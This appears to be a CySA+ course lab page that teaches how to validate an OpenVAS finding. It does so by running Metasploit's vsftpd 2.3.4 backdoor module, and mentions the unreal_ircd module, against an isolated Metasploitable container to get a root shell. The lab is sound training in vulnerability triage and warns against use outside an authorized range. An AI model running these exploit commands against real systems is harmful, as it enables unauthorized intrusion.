All CySA+ v4 labs

Lab 15 of 17 · By Michael Stout

In this lab

Use Copy beside a command to copy it exactly.

CYSA+ CS0-004 · DOMAIN II VULNERABILITY MANAGEMENT CyberCorps.uk · LAB 15
LAB 15 · VULNERABILITY SCANNING

Validate the OpenVAS finding with Metasploit

Lab 14 flagged the vsftpd 2.3.4 backdoor as critical, based on a version match. This lab confirms it's actually exploitable, using Metasploit's own module against the same target — the true/false-positive triage step Chapter 7 treats as a real analyst skill, not an offensive add-on.

WHY THIS LAB

“Vulnerable” is a hypothesis, not a fact

A scanner flags vsftpd 2.3.4 because it recognizes the version banner — it doesn't actually try the backdoor. That's usually right, but not always: a backported patch or a scanner misread can turn a real finding into a false positive, or a real weakness into a missed one. Confirming exploitability before it goes in a report is exactly this triage. Metasploit packages known exploits as configurable modules rather than hand-written exploit code — the same shape as the validation work an analyst actually does in the field.

DOESN'T REQUIRE LAB 14

This lab reuses Lab 14's finding as its reason, but the backdoor itself doesn't care whether you scanned for it first. If you skipped Lab 14, this still works against Lab 12's range on its own.

BEFORE YOU START

What you'll need

ALREADY RUNNING

Lab 12's range, with the metasploitable container up.

DISK SPACE

Roughly 600 MB inside the Kali container for the Metasploit package and PostgreSQL, its dependency.

PERMISSIONS

None beyond Lab 12's Docker Desktop setup — everything here runs inside the existing scanner container.

TIME

15–20 minutes, most of it the one-time package install.

CyberCorps.uk · Lab 15 Page 1 of 3
INSTALL · CONFIRM THE SHELL CyberCorps.uk · LAB 15
PART 1 · INSTALL METASPLOIT FRAMEWORK

Into the same Kali container as Lab 12

  1. Get a shell in the Kali container:
    docker compose exec scanner bash
    Same command Lab 12 used to install Nmap — run it from C:\labs\nmap-range.
  2. Install the framework:
    apt update && apt install -y metasploit-framework
    This pulls in PostgreSQL as a dependency — roughly 600 MB, and the slow step in this lab.
  3. Initialize its database and start it:
    msfdb init
    msfconsole -q
    First run creates the database; wait for the msf6 > prompt before continuing.
PART 2 · CONFIRM THE FINDING IS EXPLOITABLE

Same target, a different kind of proof

  1. Find and select the module:
    search vsftpd_234
    use exploit/unix/ftp/vsftpd_234_backdoor
  2. Point it at the target:
    set RHOSTS metasploitable
    Compose's built-in DNS resolves the name the same way it has for every Nmap scan in this series.
  3. Run it:
    run
    A line reporting a command shell means the framework agrees the backdoor is real, not just theoretically present.
  4. Prove it:
    id
    whoami
    root, from a bug in a fifteen-year-old package — type exit when you're done to leave the shell.
CyberCorps.uk · Lab 15 Page 2 of 3
EXAMPLES · CAUTIONS · SOURCES CyberCorps.uk · LAB 15
EXAMPLES TO TRY

Metasploitable has more than one backdoor

TryWhat it shows you
search unreal_ircdMetasploitable's bundled IRC daemon carries a separate, well-documented backdoor (exploit/unix/irc/unreal_ircd_3281_backdoor) — same workflow, different service.
sessions -l / sessions -i 1List and switch between shells if you run more than one exploit in the same console, instead of losing track of which is which.
set VERBOSE true before runThe module logs the exact bytes it sends — a useful cross-reference if you go on to Lab 16 and watch the same exchange in Wireshark.
A FRAMEWORK IN A CONTAINER IS STILL A FRAMEWORK

Metasploit doesn't need Lab 12's NET_ADMIN / NET_RAW capabilities for this particular exploit — it's an ordinary TCP connection, not a raw-socket scan. That doesn't make it lighter-weight tooling. Keep it inside this isolated range, the same as Nmap in Lab 11.

CONFIRMATION ISN'T PERMISSION

Validating that a finding is real is a legitimate analyst task inside an authorized, isolated lab. It is not a license to run the same module against anything outside it — the authorization rule from Lab 11 applies here at least as strictly.

Sources. Kali Linux Documentation, starting Metasploit Framework, kali.org/docs/tools/starting-metasploit-framework-in-kali. Kali Linux Tools, metasploit-framework package page, kali.org/tools/metasploit-framework. Rapid7, module reference for exploit/unix/ftp/vsftpd_234_backdoor and exploit/unix/irc/unreal_ircd_3281_backdoor, rapid7.com/db/modules. Module names and the package's PostgreSQL dependency are current as of September 2026.

CyberCorps.uk · Lab 15 Page 3 of 3

Connect this lab to your learning